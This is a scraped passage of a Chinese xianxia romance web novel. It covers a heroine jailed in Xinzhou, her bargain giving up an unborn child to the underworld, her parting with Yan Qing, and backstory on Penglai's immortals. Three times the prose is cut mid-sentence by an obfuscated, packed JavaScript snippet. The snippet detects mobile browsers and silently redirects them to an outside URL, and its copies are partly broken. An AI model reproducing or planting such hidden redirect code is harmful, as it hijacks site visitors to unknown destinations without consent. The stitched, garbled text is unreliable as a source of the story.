l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056755|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的墙壁传来,低沉而清晰,像是从很远的地方飘来,却又近得仿佛就在耳边。那些好不容易压下去的委屈,像是潮水一样突然涌上来,冲得我眼眶发热。我低下头,将脸埋进膝盖间,藏起呜咽。 “抱歉,” 轻柔的声音沙哑,一字一句地从头顶传来,像是钝刀割在我的心上。 “是我疏于监管,才让有心之人趁机投毒。好在村民暂且稳定下来,脱离了危险。我已经派人继续调查,一定会找到病发的源头……” 我靠在冰冷的墙壁上,脑海中浮现出那些因我而痛苦挣扎的面孔,他们的呻吟、他们的绝望,像一根根刺,狠狠地扎进我的心脏。鼻尖酸得发疼,我用力咬住嘴唇,不让眼泪掉下来。 牢房里一片漆黑,只有月光从铁窗漏进来,在地上投下几道惨白的光痕。我蜷缩在角落里,听着墙外他的呼吸声。 明明那么近,却又那么远。 颜卿……我好想你…… 我不想哭,可眼泪却不受控制地往下掉,砸在手背上,冰凉刺骨。我咬着牙,努力不发出声音,可抽泣声还是从喉咙里漏了出来,在寂静的牢房里显得格外清晰。 隔着厚重的墙壁,我慢慢将额头抵上去,冰冷的触感让我清醒了几分。我闭上眼睛,想象他就在墙的另一边,和我一样,将额头抵在墙上。 “颜卿,”我低声叫他,“你快走吧。” 我怕被巡夜的狱卒发现,怕连累他。可我又怕他走,怕这牢房里只剩下我一个人,怕这无边的黑暗将我吞噬,怕我会忍不住冲出去见他。 “我没有帮上你。是我自以为是,害了信州的百姓,也害了你。” 人总是在犯错之后才后悔,才明白自己有多愚蠢。可后悔有什么用呢?那些因我而受苦的人,他们的痛苦不会因此减轻半分。 眼泪顺着脸颊滑下来,砸在地上无声无息。可哭声是藏不住的,它从我的喉咙里溢出来,像是要把所有的委屈和痛苦都倾泻出来。 寒窗外突然响起急促的脚步声,渐行渐远。没过去太久,视线穿过狭窄的通道,在尽头的光源处,我看到一个急切的身影从牢狱另一边匆匆朝我奔来。我飞快地爬了起来,隔着铁栏握紧他的手。 “你怎么还进来了……” 颜卿没有说话,只是把我的手握得更紧,仿佛相隔千里的爱人终于相见,有千言万语想说,却说不出一个字。鬼使神差地,我突然不想哭了,反倒努力露出一个明朗的笑。我晃动着交握的手,让他抬起头来看着我。 我看着他湿漉漉的双眸里映照着我的样子,冲他笑了笑。 “颜知县怎么还哭了?” 我想抽出手替他擦拭眼泪,可两只手都被他紧紧握住,根本抽不开。 颜卿的视线始终落在我的身上,眸子里掺杂着许多复杂的情绪。再看向我被镣铐拴住的脚腕时,眉头蹙得更紧。 “疼不疼?” 我笑着摇头,“一点不疼。” 许久,他稍稍松开一点,我才得以抽出手来擦掉他脸上的泪痕。 毕竟是信州府,颜卿自己的地盘,狱卒也选择睁一只眼闭一只眼。 只是,留给我们的时间不多。 我抚摸他愁苦的脸,说着连自己都不相信的话安慰他:“不用担心我。我会没事的。我会和过去一样,活蹦乱跳地再次出现在你面前。” “不行。” 他的手掌覆上我的后颈将我拉进,隔着铁锈的栅栏抵上他的额头。 “这一次,换我来守护你。我不能……不能再看着你离开我了。” 43. 叶落依枝 “再做一个交换吧。” 我抬眼对上铁栏外没有颜色的男人。 黑无常穿过铁栏走上前,打量了一圈人界牢狱的样子,一袭黑袍长身玉立,手摩挲着那支号称是南风仙子法器的玉笛。 许是阴差的缘故,他离我还有些距离,我却觉得有一股寒气逼人,背脊发凉。不是□□上的寒冷,是心头不自觉打颤的冷。 “仙子想救那些百姓?”黑无常退了些距离,和我隔得远些,“天地间的规矩,天定之事,不可更改。哪怕我们去帮仙子救了那些凡人,仙子身上注定要发生的事,依旧不会更改。” 这个回答我并不意外。 “天定之事?你指……发配边疆?” 按照律法,本该是先庭审然后下判决最后实施,我的案子倒是特别,吴盼秩自己来牢房跟我说的。与其说是下判决,倒不如说是来和我商量。 两个时辰前。 牢狱走廊里响起一阵窸窸窣窣的响声,接着从远处传来狱卒恭敬地声音。吴盼秩比我预期地还要早来见我。 颜卿没有跟来,恐怕是被支去了别处。 牢狱中阴冷潮湿,我坐在角落的草席上,手脚被铁链锁住,动弹不得。 “姑娘,昨晚睡得如何?” 他的声音从牢门外传来,带着几分虚伪的温和。我抬起头,看见他站在铁栏外,脸上挂着似笑非笑的神情。 “吴大人的算盘打得太好,打得我猝不及防啊。”我扯着嘴角暗讽,“可我绞尽脑汁也想不明白,吴大人这么做是何意?” 吴盼秩轻笑一声,抬手示意狱卒打开牢门,解开我手脚上的铁锁。 “我要你去边疆。” 他走进来,居高临下地看着我。 我反问:“边疆?” “数年来,东凉与我朝战事不断。皇上一直希望能请出医鹿山的仙者支援边疆。但,仙家不问朝政。”吴盼秩背着手慢条斯理地说道,“而你,从医鹿山来却不是仙家弟子,我们可是从光州一路追寻你至此啊。” 我埋头冷笑,笑得全身发抖,不小心碰到脚边的铁链,发出冰冷的声响。 “吴大人真是好算计。只可惜,我是个半吊子,玷污了仙人的名声。你也看到了,除了认识点药草,我对医术一无所知。” 他蹲下身与我平视,嘴角勾起一抹阴冷的笑意。 “我们要的不是你。是你背后的人。起死回生……你可知挽救一条生命,便可以改写结局?东凉自夏逸飞登上大将军之位后,贺家三将军被暗杀,定边军屡战屡败。若是能将那人起死回生,一切都会变得不同。” 我心头一紧,手指猛地攥紧。吴盼秩站起身,掸了掸官服上染上的尘埃。 “没有逼迫姑娘的打算。只不过颜知县一生的抱负,可都掌控姑娘的一念之间了。” 铁门重重关上,牢狱中再次陷入死寂。 黑无常深灰色的指尖轻轻擦过监狱肮脏的墙壁,指尖刚触到那层厚重的灰垢,他的眉头便紧紧皱起,脸上写满了嫌弃。 他迅速收回手,指尖微微一抖,一道淡淡的黑光闪过,那些灰尘便像被无形的力量震散,纷纷扬扬地落在地上。 “天机不可泄露。” 他顿了顿,大概是想起自己已经跟我说了太多,又补充道:“不可泄露太多,仙子知道这些就足够了。” 失眠了一夜,除了颜卿的安危,我已经不想再多虑。 我扯了扯嘴角,声音沙哑而疲惫道:“我无所谓。只要能治愈信州百姓,保全颜卿的位置。” 黑无常走近几步,说道:“仙子的药方没有问题。那群人也是知道五日不可能痊愈,才敢刁难仙子。” 我闭上眼睛,如释重负:“那就好。” 牢狱陷入长久的寂静,久到我忍不住抬起头看黑无常。他依旧站在那里,面无表情。 深邃的眼眸像是藏着无尽的秘密,却又冷得像一潭死水。 他的目光始终落在我身上,毫无温度地注视着我。 忽然,他蹲下身,黑色的衣袍垂落在地,沾染了牢狱中的灰尘。 他伸出手,修长的手指在距离我的脸只有一点距离的地方停下。 四目相对,时间仿佛在这一刻凝固。 过了许久,他收回手,换了另一只手将手中握着那支玉笛伸到我面前。 我没敢伸手去接。接下了意味着什么,我清清楚楚。 “能不能,换一样……两个孩子我都舍不得。” 黑无常的目光冷冽如霜,问道:“事到如今,要反悔吗?” 我咬紧下唇,无能为力的感觉再次搅得我喘不上气。可腹中的两个孩子都是我的骨肉,我怎么忍心让他带走其中一个? “我……我可以给你别的。” 我抬起头,向他投去祈求的目光。深似死潭的目光在我脸上停留了片刻,随即移开,声音依旧冷硬。 “我只要孩子。其他的,对我毫无意义。” “可是他对我……” 腹中的孩子似乎感受到了我的情绪,轻轻动了一下,像是在安慰我。心仿佛被撕裂成两半,一半是愧疚,一半是不舍。 “地府要的是那个天生仙骨的孩子。”黑无常声音低沉似是解释又似安慰,“另一个是星君下凡,地府不会动。” “可他是我的孩子……”我深埋下头,泪水在眼眶中打转,“我不想让他觉得自己的娘亲那么没用……” 他几不可闻地叹了口气:“世间之事,从来都是有得必有失。” 黑无常没有再给我犹豫的时间,他抬起手,指尖泛起一道幽暗的光芒,轻轻点在我的小腹上。 一阵冰凉的感觉瞬间蔓延开来,仿佛有什么东西被缓缓抽离。 我浑身一颤,下意识地想要抗拒,却发现自己动弹不得。 “不……不要……” 我的声音沙哑得几乎听不清。 黑无常的目光蒙上一层类似愧疚的情感,手中的法术却没有停下。 片刻之后,一道淡淡的光芒从我腹中飞出,落入他的掌心。 那是一个小小的光团,微弱却温暖。 身体仿佛被掏空了一般,我无力地瘫坐在地上。 黑无常低头看着掌心的光团,说:“这是他的命数。” 说罢,他将玉笛冷冷地塞进我手中,转身离去。 我低头看着手中的玉笛,指尖触到一片冰凉,无时不在提醒我一切都真实发生了,再也没法挽回。 “这有什么用……我有什么用……” 我猛地抬手,将玉笛狠狠甩了出去。 玉笛砸在冰冷的石墙上,发出一声清脆的撞击声,随后无力地落在地上,滚了几圈,停在角落。 它静静地躺在那儿,仿佛在嘲笑我的无力。 我蜷缩在角落,双手紧紧抱住自己。 八月的热风从铁窗灌进来,暖人的,却带着刺骨的寒意。绝望像潮水般涌来,将我彻底淹没。 两天后。 “明日一早,启程定边军。” 吴盼秩的目光落在我憔悴的脸上,一改往日的嬉皮笑脸。反正,他的目的已经达到了,没有再刁难我的必要。 我站在原地,目光空洞无神望向某个遥不可及的虚无之处,无力地应了一声:“是。” 颜卿站在一旁,憔悴的面容和眼底堆积的暗沉。这几日他也没有好好休息吧。但即使是那样痛苦狼狈的时刻,他依然挺直了身姿。 他上前一步,语气镇定:“吴大人,下官——” 话未说完,便被我的动作打断。 “颜卿。”我拉住他的手,看向吴盼秩,“我想和颜知县再说些话,麻烦吴大人回避。” 吴盼秩的目光在我和颜卿之间扫过,片刻后点了点头,转身大步离去。牢房内,昏暗的烛光摇曳,映照出颜卿略显憔悴的面容。 这段故事该结束了。 “谢颜大人这段时间的照顾,我……有一样东西希望颜大人成全。” 我勉强扯出一抹笑,将事先准备好的东西递到他面前。 颜卿的目光落在那张纸上,瞳孔骤然一缩,脸色更加苍白。他的手指微微抬起,似乎想要接过那张纸,却在即将触碰到时停住了。 “和离书……?” 他的目光没有在和离书上停留太久,甚至没有低头去看上面的字迹,便猛地将手收回,仿佛那张纸是什么烫手的东西。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056756|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我不答应。” 和离书依旧悬在半空,像是一片无依无靠的落叶。 “求你了。”我闭上眼,深吸一口气,压下心头翻涌的情绪,“人生一遭,能有几个八年。不要再枉费光阴了,我不值得。” 我知道从成亲那天起萦绕在心头的烦闷是什么了,是我后悔了。我不该嫁给你,我不敢嫁给你。昨夜写完和离书后,我难得的如释重负,身体久违地轻松。 颜卿双手紧紧抓住我的肩膀,力道大得几乎让我生疼。他的眼中满是执拗与痛楚,声音颤抖却坚定:“我说过,这次我会护你,不能再看着你——” “颜卿!” 我打断他的话,猛地推开他的手,声音陡然提高,“哪怕没有此事,我也是要离开的!” 颜卿的手僵在半空,眼中闪过一丝慌乱。 我问道:“六月十五,半年节,你可知为何是这一天?” 他深吸一口气,极力让自己冷静下来,说:“我知道。但我不在乎。” “固执!死脑筋!木头!”我几乎是咬牙切齿地骂了出来 “楚——” 他刚开口,便被我厉声打断。 “呸!我根本就不叫楚风!不许叫我这个名字!”我猛地抬头,眼中燃着怒火,声音尖锐得几乎刺破空气。 看到他苦涩的表情,我笑得更加肆意,笑声中是无尽的苦涩与嘲讽:“对啊,我根本就不叫楚风,定帖上的人根本不是我。这和离书,不要也罢。哈哈哈哈哈哈哈……” 笑声在空荡的牢房中回荡,显得格外刺耳。 “抱歉啊颜大人,骗了你八年。” 颜卿的脸色愈发苍白。我望着冰冷晦暗的牢狱,自嘲冷笑,仿佛在问自己,又仿佛在问这无情的天地:“所以我是谁?我叫什么名字?我从哪儿来?无父无母,无兄无姊?” 颜卿上前一步,伸手想要触碰我的脸,却被我猛地打开。 “别哭。” 他的声音低哑,被我打开的手又颤抖着再次伸向我的脸。 “不许靠近我!” 我厉声喝道,充满决绝。他还是笑着,不顾我的挣扎与闪躲,执意拥住我发抖的身体。 “没事的,别哭。我不会讨厌你,你骂我再难听的话,我也不会讨厌你。” 他的手臂紧紧环住我,小心翼翼。我剧烈挣扎,拳头砸在他的后背。砸击的声音每一下都牵动我的心。我知道他疼,我也疼。 “我不需要你的怜悯!不需要你的同情!我一点不可怜!我不是可怜的人!我不是爱不起的人,我不是不敢嫁给你的孬种!” 颜卿纹丝不动,任由我的拳头落在他身上。他的手掌轻轻抚上我的后脑,将我的头按在他的肩头,声音低哑而温柔。 “我没有怜悯你,也没有同情你。我只是……不想再看着你一个人扛下所有。这次,就不能抛开执念,安心留在我身边吗?” 我的挣扎渐渐弱了下来,拳头无力地垂在身侧,泪水不受控制地涌出,浸湿了他的衣襟。 “你为什么要这样……为什么非要逼我……我根本不值得你这样做……” “值不值得,不是你说了算。”他紧了紧手臂的力量,想把我镶进身体一般,“八年也好,八十年也罢,哪怕是几百年、几千年……我从未后悔过。从前是,现在是,以后也是。” 我闭上眼,泪水顺着脸颊滑落,在他贴上我的地方和他的眼泪相汇。喉咙被堵住,发不出声音。他的手掌轻轻抚过我的后脑勺,像是在安抚一个受惊委屈的孩子,声音柔得几乎要化在空气里。 “别哭了……我还在呢。” 我抱着颜卿的腰,靠在他胸前口不择言。 “你……这个疯子……” “是啊,我是疯子。”他轻笑一声,“哪怕你推开我一千次,一万次,我也会站原地等你回来。上穷碧落下黄泉……我会一直等你回来。我们说好的。生生世世,永不分离。” 我再也说不出话来,只是紧紧攥住他的衣襟。牢房中寂静无声,只有烛火轻轻摇曳,映照出两人相拥的影子,仿佛要将这一刻永远定格。 此一别,或许是生离死别。但我们都明白,只要活着,终会有再见面的一天。 44. 不知南北 【逆梦归尘·南风第一次复生后】 距离利州主城较远的山村,用厚重白布掩住口鼻的村民们正往挖好的坑里丢入亡者的尸体和生前的衣物用品,浇上燃油和柴棍准备一并焚烧。 “还请仙长助他们来生投胎一户好人家,不再受病痛折磨。” 村长对着柳砚清拱手作揖说道,随后哭皱着眉摆了摆手,示意可以点火。 我站在柳砚清身边,望着黑烟慢慢从坑中涌出。 这是我第一次亲眼见凡间的火葬,坑里的人或年轻或年迈,但都是因为一场不治之症夺去了生命。 柳砚清不能用仙术救他们,所以无能为力,被村民留下说为他们祭祀祝祷。 “凡人寿命为何如此短暂……” 我用只有我和柳砚清能听见的声音问他。活了三千年,我从未想过自己会有死去的一天。 “人死,是种什么感觉?浑然不知,还是有所预感?” 柳砚清默默看了我一眼,在衣袖的遮掩下握住我的手。面上仍端着那副悲天悯人的仙人做派,出口的话却混着温热气息直往我耳蜗里钻。 “我猜,是后者。因为我见过的人,她临死前明明站立都费力,还是说了很多不知南北的话。” “……” 我知道柳砚清说的人是我,是我上一次下凡,把自己搞得掉进江水里差点淹死,被爹爹救回后失了段记忆。 至于我为什么去西洲孤岛,为什么穿越旷野跳进直通地府的江水里,柳砚清如何知道我坠入江水救下我……全忘了。 说来也奇怪,忘掉的记忆不是整块整块的年月,而是支离破碎的,就好像……是关于一个人的。 把这个人的一切点滴从我的记忆中删除,进而导致我的记忆里很多地方会突然跳过一段内容,奇奇怪怪的。 爹爹说那是起死回生之术自带的负面效果,具体被抹除的记忆是什么,他也不知道。 爹爹说这句话时眼睛一刻也没看我,我知道,他在撒谎。 “算了,能活过来已是好事一件,我也不跟他计较啦。” 我突然冒出的话,旁边的柳砚清听得云里雾里。 “你这句‘算了’,是从哪里说起的?” “从爹爹说起的。说来,你还从未跟我讲过你和爹爹怎么认识的?认识你时,你已经在蓬莱仙岛求学。那之前的事儿呢?给我讲讲?” “想听?” “嗯!” “现在?” 现在……恐怕不合适。坑里的亡者还在焚烧,村民早已散去,我和柳砚清站在远处静静地望着。 火光在坑底幽幽跃动,焦糊味混着热风一阵阵扑过来。 柳砚清站在我旁边,袖子被风吹得猎猎作响,却始终没说话。 柴堆烧得噼啪作响,偶尔爆出几点火星,又很快暗下去,像被黑暗吞没了似的。 四下里静得出奇,只有火舌舔舐皮肉的细微声响。 我盯着那团跳动的橙红,忽然觉得这场景莫名熟悉…… 可再往深想,脑子里又空荡荡的,只余下一阵没来由的钝痛。 我收紧指尖,心中一紧。柳砚清任由我的指甲扣着他的皮肉,指腹摩挲我的掌心,似是在宽慰我。 “等我下次死了,千万别火葬。想埋在一处花海,远离凡尘硝烟的山岗。” 柳砚清默默听着我无厘头的话,抬手轻点耳垂原本有颗痣的位置,轻轻回了句:“……好。” 【又拂卿柳】 起死回生之术传闻是西洲孤岛的一个氏族,与世隔绝守护的秘密。 千年万年过去,随着孤岛上只剩最后一个人时,这项术法也即将面临失传。 天君召见了这位孤岛遗珠,彼时居住蓬莱仙岛的赤方神仙,方大仙。天君的意思是,起死回生之术虽有违天命,但也不可眼看着失传。 方大仙的四个孩子皆没有习医的天赋,倒不如从年轻的仙人里挑选出最佳人选。 “医仙葛榆养了个孩子,千年数百年一遇的绝世仙骨,赤方不如收他为徒,教授他起死回生之术。” 医仙葛榆同方大仙也是有千年交情的好友,多少知道医仙与花神当年偷情之事,何时多了个孩子? 方大仙不禁反问道:“葛榆的孩子?下一任医仙?” 天君点头说道:“你若将这孩子教出来,不就成了你方大仙的继承者。莫非,你还想着你那小女儿继承你的仙职?” 方大仙无奈叹道:“南风愚弱,成不了大器。” 天君大笑,笑声中不带任何凌厉,似是和老友谈笑一般。天君也是明白方大仙的烦心事,自知晓了葛榆身边那孩子的情况后,便一直有此想法。违背人生死常理的术法是不该存在,但难保今后会有需要的时候。 人都是自私的,何况是神。 “那孩子名叫砚清,你若答应,我便让他过几日去蓬莱仙岛,拜你为师。” “谢天君。” 蓬莱第几宫,云淡风轻,霞光普照。随人指引,砚清初次登上蓬莱仙岛,步入蓬莱第几宫。 穿过亭台楼阁,在一处后院的凉亭见到了医仙口中“可怜的老友”赤方神仙。 医仙说,自从赤方神仙的夫人桑竹去世后,大仙常把自己关在蓬莱第几宫,一来看管四个不懂事的孩子,二来给自己留个清心寡欲。 “赤方神仙和四个孩子”的故事在仙界很受欢迎。甚至被某些喝醉的仙人带到人界,成了酒楼说书人乐此不疲的传说故事。但绝大多数皆有添油加醋的迹象,尤其是关于南风仙子风流的故事,层出不穷。 砚清自小没离开过医仙葛榆,陪着医仙四处行医,没有机会去到人界的烟花柳巷享清福。这些故事,都是他在来蓬莱第几宫的路上,负责接引的人告诉他的。 接引人还打算跟砚清讲讲大仙的三子西雨的故事,后院凉亭内传来茶水入盏的流水声,接引人匆忙告退。 “你就是砚清?葛榆收养的那个孩子?” 砚清看向凉亭内说话的男人,换算成凡人的年纪,顶多年仅五十,目光锐利如鹰隼,和医仙葛榆截然不同的威严。 医仙教育自己的方式虽然严苛,但那只是与嘴上眼里,眉目间皆是温柔。 方大仙不同,声色俱厉,光一个眼神便能震慑四方。 方才的接引人还说,他亲眼看见方大仙抬脚踹他亲女儿的屁股。 砚清拱手作揖,道:“砚清拜见赤方神仙。” 方大仙与初次见面的人习惯严肃,眼睛微眯审视眼前仙界百年难遇的绝世仙骨,不由得有些欣慰和惊羡。替砚清斟了盏茶, “不必拘礼,你也同旁人一样唤吾方大仙吧。姓什么?” “医仙为我取名砚清。” “姓砚?” 倒不是不能姓砚,只是疏花元君原名姓颜,颜砚二字读音相近,被有心之人听见,恐生事端。 方大仙陷入沉默中,许久之后,脑中想出了与年轻仙人极其符合的名字。 “吾送你柳姓,以后,你便叫柳砚清吧。” “谢大仙赐姓。” 【又见东风】 柳砚清讲述完毕,见我一直愣愣地撑着脑袋看着他,又朝我笑了一下。 “入夜了,去休息一下吧。” 我摇了摇头道:“今晚祝祷,我陪你。” 整个村子都在守夜,我一个人哪儿能睡得心安理得。柳砚清捞了件披风来给我披上,又烧了壶热水泡了壶新的茶。 “说来,我耳垂上的痣不见了,也是起死回生之术的原因吗?” “那倒不是。” 说完不是,柳砚清并未接着说下去。门外传来匆匆脚步声,是村长前来请仙人给村里其他的病患诊治。答应他我会照看好自己的身体,累了就去休息后,柳砚清才安心离开。 我回味起刚才柳砚清讲述的故事。原来他的原名没有柳姓,单是砚清二字。 砚清……是个好名字。 【又拂卿柳】 眺望东海,方大仙突然惆怅道:“所以余生,吾最大的,也是唯一的心愿,就是看着四个孩子有所作为。北雷、东婝和西雨除了性子差些,倒还让我省心。独独南风……唉——” 像是陷入自责,方大仙一时忘了自己在做什么,指尖在空中划出一条裂缝,缝隙张开云雾涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056757|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,在两人眼前幻化出陌生的景象——人界赵国,光州的一家酒楼,南风仙子正坐在二楼靠窗的位置,喝着小酒听着台上的说书人讲述新奇的故事。 “这是吾的小女儿,南风。” 柳砚清怔愣着,将手伸向画面中爽朗大笑的人,仿佛这样便能触摸到她。 初见那日,南风仙子是被关了禁闭。去人间邂逅了两位凡人,偏偏在人定下想与她厮守终生时落荒而逃。方大仙震怒,关了她紧闭。虽然后来得知,她还是死性不改,拜托东婝元君引她入梦去消遣。柳砚清见到她那日,是风流成性的南风仙子整整七日没有碰过男人。 那天以后,南风仙子收住了往外跑的性子,留在蓬莱,每日坐在东海边的焦岩上眺望,等待某人。 柳砚清知道,她还会走,区区无趣的自己怎么留得住她。 方大仙似乎笑了一下,伸手轻轻拂过云雾,人界的画面渐渐消散。 不过数日不见,却如隔三秋。柳砚清收起眼底的落寞,恢复如初,假装初次见到画面里的人,询问方大仙:“南风仙子?为何会在人界?” 方大仙瞬间面色愤怒,咬牙切齿恨铁不成钢地怒吼道:“那孩子也不知道哪儿学的坏东西,竟敢背着吾偷跑下凡间。吃茶听书贪恋美色,正事不做,学业不精,一事无成!” “听闻大仙为了南风仙子不受伤害,命人在人界各处供奉您的神像?” 柳砚清陪同医仙葛榆修炼去过最多的地方是医鹿山和清溪山,据他所知,两座山都供奉了方大仙的神像。洛城郊外的神殿也有,环州那般偏远之地也有。如果猜测的没错,这些地方都是南风仙子踏足过的。 方大仙消了些气,摆着头说道:“修了有何用?她收不住心,光是看着能有何用。那孩子……终有一道跨不过去的情劫。吾询问了各路神仙,如何都找不出那道情劫最终到底是谁。” 大仙眼中闪过柳砚清读不懂的情绪,他直起身板,更为真挚地与大仙相视。 “若是砚清能帮上大仙的,义不容辞。” 方大仙的表情有些晦暗不明。他不再看柳砚清,而是起身跳下礁石,踩在海岸边松软的白沙上。 “方才的话吾说得不明白。那道情劫不是一个人,是两个人。而你——” 礁石阴影遮盖了方大仙所有的心绪,柳砚清也起身跳下,全身被阴影笼罩。师徒的四目相对,在一瞬间产生了敌意。 “你便是她其中一道跨不去的劫。” 赐予“柳”姓的初衷,便是望他能留住她。 柳砚清对方大仙的话,其实早有预期。自从那夜第一次见到南风仙子,便对她心生情愫。但此刻真的亲耳听见,还是感到了诧异。 在漫长的沉默后,方大仙只手背至身后,目光黯淡下去,继续说道:“虽然父亲不该干涉女儿的情感,但是……吾不想看她受委屈,受情爱的折磨。砚清……” “我在。” “你娶她为妻吧。” 此话一出,柳砚清心里有种微妙的感觉……大仙的方法,未免太荒谬。 “贸然娶妻,她会答应吗?” “当然不会。” 方大仙回答得坚定。他深知南风的性子,生性虽风流,却比任何人渴望一段至死不渝的爱。她是那么胆小,那么自卑。不确定自己追求的是什么,不知道自己穷极一生要的是什么。面对凡人许下一生的承诺,她只敢逃避。面对凡人的离世,她只认为是自己的错,拼了命去挽救。 不愧是自己和她的女儿,真是傻到没脑子。 方大仙轻轻叹息,对柳砚清说道:“用你的聪明才智想个办法吧。见过了她,你应当知道,她喜欢的是什么。” 柳砚清知道吗?也许吧,心中大概描绘出了南风仙子喜欢的模样,那是与自己千差万别的模样。 柔情似水、端正慷慨之人,平和的,温暖的,如同仲夏之月的清风,抚慰她一次又一次。如白梅纯洁,如青竹坚韧,她能轻松又安心的地方。 他抬起眼,眸子失去了温度。 半晌,海浪翻涌,他回头望向蓬莱第几宫的位置,郑重地一字一句说道:“我知道该怎么做了。” 45. 春潮带雨 【蓬莱第几宫】 东婝元君偶然路过老三的房门口,紫色裙裾扫过门槛时突然顿住。她倒退两步扶着门框,凤眸微眯,盯着案几上横着的青竹发簪。 “那发簪不是……” 她走进房内,正要拿起桌上的青竹发簪,就被人一手夺走。 是老三西雨。 东婝斜睨着眼前无药可救的弟弟,无奈说道:“得亏抹掉了当时的记忆,不然,凭空消失一支发簪,还不得闹出事儿来。” 西雨不以为然地拂袖,指尖凝起一缕青芒。靠墙的博古架应声旋开,露出暗格里浮着流光的檀木匣。 东婝抱着臂看着神情不自然的西雨,“所以为什么把发簪带回蓬莱?” 秀气的声音反问道:“二姐问这做什么?” 西雨将手中凡人的物件放进檀木匣中。 “你说做什么。”东婝叉着腰走到西雨身边,伸手按住檀木匣,“没了神器,小妹要是在人间被欺负怎么办。” “放心吧二姐,不会的。” “为何如此肯定?” 西雨并指在檀木匣上轻叩三下,匣中飘出一团裹着月白的流光。他重新取出发簪,交到东婝手中。 “因为,这不是神器,只是一支再普通不过的发簪。是那个叫闻笙的凡人给小妹新制的簪子。” 东婝早在清溪山便知道小妹手中的神器并非真的神器,不过与柳砚清约定在先,不可暴露。在找到真正的神器之前,万事都得小心行事。 “那你带回来做甚?该不会……是喜欢这支簪子吧?” “这倒不是。” 西雨接过东婝还回来的发簪,指尖细细描摹青竹发簪的簪柄和三片竹叶。脸上浮出不易察觉的笑,眉眼低垂,满是怜爱,说道:“替小妹陪我罢了。” 东婝摆出一副看变态的表情,直言拆穿西雨:“你后来去见小妹了?” 西雨轻笑道:“二姐知道的,我没有入梦的能力。不过请枕书君替我给小妹捎了一段话。” 契阔成夫妻,连理共灵犀。这是仙界的天律,自两人结为夫妻后,仙术共通。云枕书原是掌管书籍的神,与东婝元君成婚了,便多了入梦的仙术,不过仅此皮毛。 东婝闻言脸色微变:“云枕书?他居然一点没告诉我。” “是我拜托他不要告诉二姐的。我担心,你知道了又去消除小妹的梦。” 东婝神色一滞,无奈抱臂,“你何时见我主动消除过她的梦。若不是爹——” “咳咳。”西雨突然打断东婝,朝东婝身后走来之人欠身行礼,“爹爹。” 东婝赶忙端起仪态退至西雨身侧,“爹、爹。” 方大仙在两人身上来回打量,“在说什么?” 东婝眼神躲闪,“在说……在说我那不成器的夫君。” 西雨附和道:“是。前些日子去了趟霜洲界地,久违见到了枕书君。” 方大仙皱眉反问西雨:“你?” 同一时间,东婝异口同声:“你?你何时离开过蓬莱?” 西雨波澜不惊回答:“我说的二姐。” “……嗯?”东婝看着西雨眨了眨眼,又看向他早已洞察一切的爹,“对,是我。” “……” 一大家子就没点默契。 西雨不知是冷笑还是好笑了声,“那是二姐的夫君,对吧?” 东婝瞪了眼她那平常舔嘴唇都能把自己毒死的三弟。 “说的什么话。感情不和、分居两地、成完婚就再没见过,就不能叫夫妻了吗。” 方大仙马上沉下脸来,二话不说抬起脚就是一脚,“错在你先,还敢说得理直气壮!去跟枕书好好道歉,把他劝回蓬莱。” 东婝捂着屁股,“不去。” 心里不免嘀咕:是不是踹不到小妹拿我出气了…… 方大仙气得脸涨红,双手叉腰直跺脚:“任性!怎么一个个都是这烂性子。也不知道是谁教出来!” 方大仙和四个孩子的故事,其实就是单亲父亲和四个怨种的故事。 当年桑竹仙子早逝,留下四个年幼的孩子和完全不知道怎么养娃的方大仙。好在彼时的北雷真君懂事了些,肩负起了看管弟弟妹妹的重责,方大仙也放心交给好大儿,除了宠孩子,全然不管如何教育他们走上正轨。 结果就是…… 北雷真君,七千岁了还是孤仙一只; 东婝元君,六千岁,好不容易同云枕书君成婚,又把人家气走躲到霜洲不肯回蓬莱; 西雨真人,四千岁,除开硬着头皮跟家属去了趟信州看望小妹,几千年没离开过蓬莱; 南风仙子,三千岁的人,为其看的数百本禁书勇闯人间,大胆追爱。 一听是小妹的事,两人的心顿时提起来。东婝忙问:“小妹又怎么了?” “还能怎么!都怀有身孕了还能怎么样!还跟地府做了那种交易!丢死仙人!” 西雨眉头紧锁,低声问道:“所以爹爹这是……要去一趟地府?把孩子要回来?” “是她承诺在先,吾怎么要得回来。只是去看看黑无常拿走的是哪一胎。” “绝世仙骨和星君下凡……”东婝曲指抵上下颌,“星君下凡历练,怎会投生到小妹的肚子里?” 方大仙气得嘲讽似的冷哼:“这一世她跟凡人有何区别。” 一旁的西雨斟酌许久:“……爹爹,我和你去。” 方大仙果断拒绝,面色凝重:“你不许去。谁都不许去,吾独自去。星君那一胎谅地府再大能耐也不敢夺了去。多半,拿走的是另一胎。” “那一胎是……”西雨吞下后半句话。 绝世仙骨,天赐仙骨,仙界千年难遇的奇才。 上一次仙骨再世已是百年前,医仙葛榆与某位女仙诞下的孩子,只可惜那孩子降生后便离开了。 倘若地府拿走的是那一胎,保不准有所图谋。 在神界闯荡多年,方大仙的至交不少,阎王算其中之一。 